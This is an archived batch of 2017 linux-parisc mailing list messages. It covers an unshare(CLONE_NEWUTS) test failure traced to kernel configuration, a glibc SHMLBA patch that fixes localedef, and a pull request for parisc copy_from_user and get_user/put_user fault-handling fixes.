X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=CLPFZVjD c=1 sm=0 tr=0 a=MCnG2Shyl1iix8vyRwff9w==:17 a=AzvcPWV-tVgA:10 a=FBHGMhGWAAAA:8 a=z8sTV9mifxeN46NvE5AA:9 a=CjuIK1q_8ugA:10 a=AAaWQKQi_MAA:10 a=AFDCzrRn8Zq6VdOASwAA:9 a=f7vTjjT1Z-kA:10 a=TpP4D1t9kyQA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27369
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27369>


--Apple-Mail-28--492883039
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii

We don't seem to support unshare (CLONE_NEWUTS):

dave@mx3210:~/unshare$ ./unshare
warning: unshare (CLONE_NEWUTS) failed: Operation not permitted
dave@mx3210:~/unshare$ su
Password: 
mx3210:/home/dave/unshare# ./unshare
warning: unshare (CLONE_NEWUTS) failed: Invalid argument

This appears to cause a couple of glibc tests on trunk to fail.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-28--492883039
Content-Disposition: attachment;
	filename=unshare.c
Content-Type: application/octet-stream;
	name="unshare.c"
Content-Transfer-Encoding: 7bit

#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <unistd.h>
int
main (void)
{
  if (unshare (CLONE_NEWUTS) != 0)
    printf ("warning: unshare (CLONE_NEWUTS) failed: %m\n");
  return 0;
}

--Apple-Mail-28--492883039--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: unshare (CLONE_NEWUTS)
Date: Sat, 1 Apr 2017 18:48:07 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <86f4251f-26eb-ded4-be41-b78d0a8f7d5c@gmx.de>
References: <74D018A3-5DD0-44EB-8D05-CEF787666249@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1491065301 941 195.159.176.226 (1 Apr 2017 16:48:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 1 Apr 2017 16:48:21 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
To: John David Anglin <dave.anglin@bell.net>,
        "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 01 18:48:13 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cuMC6-0006o6-CP
	for glpp-linux-parisc@m.gmane.org; Sat, 01 Apr 2017 18:48:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751829AbdDAQsM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 1 Apr 2017 12:48:12 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:56358 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751594AbdDAQsL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 1 Apr 2017 12:48:11 -0400
Original-Received: from [192.168.20.60] ([193.159.23.17]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MLunc-1cmdUq0Xls-007lVh; Sat, 01
 Apr 2017 18:48:08 +0200
In-Reply-To: <74D018A3-5DD0-44EB-8D05-CEF787666249@bell.net>
X-Provags-ID: V03:K0:h937HpoDAEHF8kG87Z1/ucL92XZj/v/kTP2oo6ZxW3fCEH7tkuj
 uKxujDp3wkKGCRaFWMtlBptuNIw7j3Kd5H2Nc4RX8OuDyIY1iVv6folPAs8M3sAhCTTs9UK
 CjWnifhKqvh5xT0g1555qcD32ZAIlGgZC/ExOKGExiXEjkDsqp3D04rWkiu6II2AIL9eXYR
 w1ZotidbQl68wUrwGC3eA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:7azq75ftlpQ=:uGZ6jYQQJrWlkgGpvPsLM2
 Jmpq8526tvxo+IN5SFgpRCoczrk7F8JqFqGCJBib+ZKfWA3T7VNlm7+EByKHi+97DvfOBfGRg
 J51PafMhe4quIIut1pur87pmStDDrJjS3B3TfQhSsf6lAEB6ykM9esKYYrLAoPJ376R678cYF
 Fqmos1w3TzvjdNW+S9icSgetzC+pBtOLCWaOgw8WvNexeJtnbtg1ur0EWPxM8PO7YY7qhCqbk
 W7PUH0QoRnPqN962ULK1BWfJfHoGJBs6YAqDk1LcVJxCKjnAIXLmo0FpbGHh3mAytHlkJGp2+
 JZDAYVNrOncRhKmBs3/5do+UeNhFMbGq+K/SxjGZIRx3Tdqbd3qJtgfest9VXR2OZrxS0V2Ky
 wHW6APFyHUjJNbrWTS/EN34o1D8QABprIZ8OKTY6KK65hExCeICZe2IZyIMFuEVNAwtDcfbBb
 NtljrcLdSfrb0p5cOOdxkUV2XJWB3m8FS6NVlTNrAXNJAOfcmd5OODO4aO6WUOVTMbLW9H4u3
 vGti9PNZMzd3V5ZtR6c+DnpRPW9jBX2Loo2LWzZLiy+hWVllZhdlWeqBo/Ktj/72fn36apYOK
 yxXMJT6JelqnN0WojHLPP/AfAxU00NtfV7P+jOWiLxboHzhxgfkbuIkECxFP3Iobd9bQ9IRD1
 kdgLN274J5l8HN4rJUcqeVKLkou9EhRsDsC2GllJx5kNLNWffQqE2ViGNiEGWt1HbAGn+p1GH
 JZjAelDNgfKjTUs/3uPHsxP3YmMuRVPrBHht9drCwKe0NLSDzsqDcjwMphNtOD4Dock/B9Ow 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27370
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27370>

On 01.04.2017 18:08, John David Anglin wrote:
> We don't seem to support unshare (CLONE_NEWUTS):

We do.

> dave@mx3210:~/unshare$ ./unshare
> warning: unshare (CLONE_NEWUTS) failed: Operation not permitted
> dave@mx3210:~/unshare$ su
> Password: 
> mx3210:/home/dave/unshare# ./unshare
> warning: unshare (CLONE_NEWUTS) failed: Invalid argument
> 
> This appears to cause a couple of glibc tests on trunk to fail.

Your kernel needs to be compiled with UTS support.
Testcase works on phantom (debian default kernel).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Sat, 1 Apr 2017 21:37:17 +0300
Lines: 21
Approved: news@gmane.org
Message-ID: <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee>
 <20161205181048.b2go7er5csdxekno@raspberrypi-2.musicnaut.iki.fi>
 <134f93f3-c4cb-8fd8-15b0-8b660a099338@bell.net>
 <20161205205837.7jvnprhqa4tpruud@raspberrypi-2.musicnaut.iki.fi>
 <a5349909-f4d8-1f0a-abbf-d16945f53ed6@bell.net>
 <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1491071849 8477 195.159.176.226 (1 Apr 2017 18:37:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 1 Apr 2017 18:37:29 +0000 (UTC)
User-Agent: NeoMutt/20170113 (1.7.2)
Cc: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 01 20:37:25 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cuNtj-0000Gy-CF
	for glpp-linux-parisc@m.gmane.org; Sat, 01 Apr 2017 20:37:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751855AbdDAShV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 1 Apr 2017 14:37:21 -0400
Original-Received: from emh03.mail.saunalahti.fi ([62.142.5.109]:47391 "EHLO
        emh03.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751798AbdDAShU (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 1 Apr 2017 14:37:20 -0400
Original-Received: from raspberrypi-3.musicnaut.iki.fi (85-76-64-217-nat.elisa-mobile.fi [85.76.64.217])
        by emh03.mail.saunalahti.fi (Postfix) with ESMTP id C6C3E188762;
        Sat,  1 Apr 2017 21:37:17 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27371
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27371>

Hi,

On Mon, Dec 05, 2016 at 06:50:57PM -0500, John David Anglin wrote:
> On 2016-12-05, at 4:17 PM, John David Anglin wrote:
> > I'll post the current Debian patch set for hppa tonight and maybe we can
> > consolidate.

[...]

> We still have a change to SHMLBA which affects non standard page sizes.

FWIW, this is the one (local-shmlba.diff) that is needed to get localedef
working on PA-RISC. I just tested with glibc 2.25 and Linux 4.10 with 4 KB
page size.

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Sat, 01 Apr 2017 20:41:05 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <2241815.7QkIsKQeSs@daneel.sf-tec.de>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee> <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net> <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1701228.aTp4a23PSd"; micalg="pgp-"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1491072504 24342 195.159.176.226 (1 Apr 2017 18:48:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 1 Apr 2017 18:48:24 +0000 (UTC)
User-Agent: KMail/4.14.10 (Linux/4.10.7-1.g0161cd4-default; KDE/4.14.25; x86_64; ; )
Cc: John David Anglin <dave.anglin@bell.net>,
        Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 01 20:48:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cuO4E-0001S5-De
	for glpp-linux-parisc@m.gmane.org; Sat, 01 Apr 2017 20:48:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751870AbdDASsM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 1 Apr 2017 14:48:12 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:56839 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751798AbdDASsM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 1 Apr 2017 14:48:12 -0400
X-Greylist: delayed 401 seconds by postgrey-1.27 at vger.kernel.org; Sat, 01 Apr 2017 14:48:11 EDT
Original-Received: (qmail 14839 invoked from network); 1 Apr 2017 18:41:28 -0000
Original-Received: from dslb-088-071-140-119.088.071.pools.vodafone-ip.de ([::ffff:88.71.140.119]:46834 HELO daneel.sf-tec.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
        for <aaro.koskinen@iki.fi>; Sat, 01 Apr 2017 20:41:28 +0200
In-Reply-To: <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27372
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27372>

--nextPart1701228.aTp4a23PSd
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Aaro Koskinen wrote:
> Hi,
> 
> On Mon, Dec 05, 2016 at 06:50:57PM -0500, John David Anglin wrote:
> > On 2016-12-05, at 4:17 PM, John David Anglin wrote:
> > > I'll post the current Debian patch set for hppa tonight and maybe we can
> > > consolidate.
> 
> [...]
> 
> > We still have a change to SHMLBA which affects non standard page sizes.
> 
> FWIW, this is the one (local-shmlba.diff) that is needed to get localedef
> working on PA-RISC. I just tested with glibc 2.25 and Linux 4.10 with 4 KB
> page size.

Missing attachment?
--nextPart1701228.aTp4a23PSd
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iEYEABECAAYFAljf9EYACgkQXKSJPmm5/E78mACeMvoGT4njfAzyH6f+4J/d2sqe
vZwAoIu4kpUOZPKOg9aK7KwEIv9weiP2
=evJr
-----END PGP SIGNATURE-----

--nextPart1701228.aTp4a23PSd--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes for 4.11-rc5
Date: Sat, 1 Apr 2017 21:10:31 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20170401191031.GA18005@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1491073845 13207 195.159.176.226 (1 Apr 2017 19:10:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 1 Apr 2017 19:10:45 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
Cc: Al Viro <viro@ZenIV.linux.org.uk>
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 01 21:10:40 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cuOQ3-0005Lf-BM
	for glpp-linux-parisc@m.gmane.org; Sat, 01 Apr 2017 21:10:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751855AbdDATKp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 1 Apr 2017 15:10:45 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:59680 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751829AbdDATKo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 1 Apr 2017 15:10:44 -0400
Original-Received: from ls3530.fritz.box ([193.159.23.17]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MarAM-1cZxsu2fZy-00KPFj; Sat, 01
 Apr 2017 21:10:34 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:QsI/xpqcRtLMFDhygyir0p70klTMiGc1p4Xi06liCsYH2QVd5cF
 wxGITU4Rkd48PArIMNwi2xbhRRQp0Mw1lm+nH+koiIR0VPTfjngT8ErFn+mOgoEtriyfi2G
 H/H4R4HWmZNalxC5pXVew9HOYxxTT/0PlXi+yyhfTeXNk6s+4FH50CAqn9SwRdNUs/SQiR+
 UL3FkvwwLeC3nl5iqjyNg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ns9Zgg1YLUg=:txoswtgLnmJOyCpUWqtHTS
 9V67oYyhz4D4IsycPB3uU6zl0M9m0VlrF/B+TD/kxKqL9ojGfOdQQgzjbzw/JDtbOf02v/Dwz
 DHK6/aJrW66pJK7wAT9GG5FkyrbL2JQ8rxGgPBkPYNDV19G3QWYWjZ8pgxWW8V8DK+EUEeT74
 jEaHR2H9JUUZhpuqL9UZM8kK4VnfxQhqR+KCsLUtYLsJTTDGGsUvlkj8QFjlYu4Auo5jRWu6U
 Bbq62DZB4U2NVOvAGWj5l7cMGrvlkxzgnslhhIOs/WrIBpxg2bZHXV0iB4kgTRVceQ/fCz8JN
 ExMfxH/+jeR/D1Ri+Ap/B6eS89X3Z3JlOqib9+vawxjW+edX7ko52SpCWueEm3alhhDU5bpu4
 ZRA8z2UswMgAycC3Qz26NtaBOssUjTC/KKwSbbNVeGz/ffon/nVfIawB1vN/+MH6A5nMewjN3
 ku5+iHAZLDxJLnY2LXrcwRsD0Fis/t2+JL1lcEB19hR/kDBudFcnd1ZJFovpDwWVR5iCpWHkZ
 2CRrIBXXxtiyAVKjUZLa0i5CAAK2O835v7FalOhTg6wS5vW/ECN3Z9EIdPI6fH+vMdXtYykGt
 Z5kPw9ncA3IfPxE5e+FU0U/EqmqWqVKAYo3cw3mGrlGYd2PpRsyEXkmVxRN9vuwzUD84cqJh+
 9oig2QEI0GADyuhBd19ScLgdDGK9p8kliMDLLrr/MhPinuzqEDYj5StT6PrMWa0XM5etNWQ1Z
 mAaYwNBP0Li/K3FBSWRaxTiu2CdCitIzLK7l3/Jyyh3uSwY4ueKzR+WdTII=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27373 gmane.linux.kernel:2446672
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27373>

Hi Linus,

Please pull three fixes for the parisc architecture for v4.11-rc5 from
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.11-3

Al Viro reported that - in case of read faults - our copy_from_user()
implementation may claim to have copied more bytes than it actually did. In
order to fix this bug and because of the way how gcc optimizes register usage
for inline assembly in C code, we had to replace our pa_memcpy() function with
a pure assembler implementation.

While fixing the memcpy bug we noticed some other issues with our get_user()
and put_user() functions, e.g. nested faults may return wrong data. This is now
fixed by a common fixup handler for get_user/put_user in the exception handler
which additionally makes generated code smaller and faster.

The third patch is a trivial one-line fix for a patch which went in during
4.11-rc and which avoids stalled CPU warnings after power shutdown (for parisc
machines which can't plug power off themselves).

Due to the rewrite of pa_memcpy() into assembly this patch got bigger than what
I wanted to have sent at this stage.

Those patches have been running in production during the last few days on our
debian build servers without any further issues.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (3):
      parisc: Fix access fault handling in pa_memcpy()
      parisc: Clean up fixup routines for get_user()/put_user()
      parisc: Avoid stalled CPU warnings after system shutdown

 arch/parisc/include/asm/uaccess.h |  59 ++---
 arch/parisc/kernel/parisc_ksyms.c |  10 -
 arch/parisc/kernel/process.c      |   2 +
 arch/parisc/lib/Makefile          |   2 +-
 arch/parisc/lib/fixup.S           |  98 --------
 arch/parisc/lib/lusercopy.S       | 318 ++++++++++++++++++++++++++
 arch/parisc/lib/memcpy.c          | 461 +-------------------------------------
 arch/parisc/mm/fault.c            |  17 ++
 8 files changed, 375 insertions(+), 592 deletions(-)
 delete mode 100644 arch/parisc/lib/fixup.S
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Sat, 1 Apr 2017 22:10:23 +0300
Lines: 41
Approved: news@gmane.org
Message-ID: <20170401191023.xpf32zopaecd7dzy@raspberrypi-3.musicnaut.iki.fi>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee>
 <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net>
 <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi>
 <2241815.7QkIsKQeSs@daneel.sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1491074325 27202 195.159.176.226 (1 Apr 2017 19:18:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 1 Apr 2017 19:18:45 +0000 (UTC)
User-Agent: NeoMutt/20170113 (1.7.2)
Cc: John David Anglin <dave.anglin@bell.net>,
        Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 01 21:18:40 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cuOXd-0005U2-GO
	for glpp-linux-parisc@m.gmane.org; Sat, 01 Apr 2017 21:18:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751972AbdDATSe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 1 Apr 2017 15:18:34 -0400
Original-Received: from emh06.mail.saunalahti.fi ([62.142.5.116]:33186 "EHLO
        emh06.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751958AbdDATSe (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 1 Apr 2017 15:18:34 -0400
X-Greylist: delayed 488 seconds by postgrey-1.27 at vger.kernel.org; Sat, 01 Apr 2017 15:18:34 EDT
Original-Received: from raspberrypi-3.musicnaut.iki.fi (85-76-64-217-nat.elisa-mobile.fi [85.76.64.217])
        by emh06.mail.saunalahti.fi (Postfix) with ESMTP id 6611E69B33;
        Sat,  1 Apr 2017 22:10:23 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <2241815.7QkIsKQeSs@daneel.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27374
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27374>

Hi,

On Sat, Apr 01, 2017 at 08:41:05PM +0200, Rolf Eike Beer wrote:
> Aaro Koskinen wrote:
> > On Mon, Dec 05, 2016 at 06:50:57PM -0500, John David Anglin wrote:
> > > On 2016-12-05, at 4:17 PM, John David Anglin wrote:
> > > > I'll post the current Debian patch set for hppa tonight and maybe we can
> > > > consolidate.
> > 
> > [...]
> > 
> > > We still have a change to SHMLBA which affects non standard page sizes.
> > 
> > FWIW, this is the one (local-shmlba.diff) that is needed to get localedef
> > working on PA-RISC. I just tested with glibc 2.25 and Linux 4.10 with 4 KB
> > page size.
> 
> Missing attachment?

It was attached to Dave's original mail. Inlined below:

Index: eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h
===================================================================
--- eglibc-2.18.orig/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2013-01-09 19:28:48.000000000 -0500
+++ eglibc-2.18/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2014-04-09 21:08:06.516202583 -0400
@@ -36,7 +36,7 @@
 #define SHM_UNLOCK	12		/* unlock segment (root only) */
 
 /* Segment low boundary address multiple.  */
-#define SHMLBA 0x00400000		/* address needs to be 4 Mb aligned */
+#define SHMLBA		(__getpagesize ())
 
 /* Type to count number of attaches.  */
 typedef unsigned long int shmatt_t;

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Sat, 1 Apr 2017 15:20:35 -0400
Lines: 1324
Approved: news@gmane.org
Message-ID: <A02BEA2B-FDB2-4012-8128-793CBC2FCFEB@bell.net>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee> <20161205181048.b2go7er5csdxekno@raspberrypi-2.musicnaut.iki.fi> <134f93f3-c4cb-8fd8-15b0-8b660a099338@bell.net> <20161205205837.7jvnprhqa4tpruud@raspberrypi-2.musicnaut.iki.fi> <a5349909-f4d8-1f0a-abbf-d16945f53ed6@bell.net> <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net> <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-37--481356122
X-Trace: blaine.gmane.org 1491074445 6585 195.159.176.226 (1 Apr 2017 19:20:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 1 Apr 2017 19:20:45 +0000 (UTC)
Cc: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 01 21:20:37 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cuOZd-0008Mi-4i
	for glpp-linux-parisc@m.gmane.org; Sat, 01 Apr 2017 21:20:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751829AbdDATUj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 1 Apr 2017 15:20:39 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:37532 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751804AbdDATUh (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 1 Apr 2017 15:20:37 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20170401192035.GTLR1899.mtlfep02.bell.net@mtlspm01.bell.net>
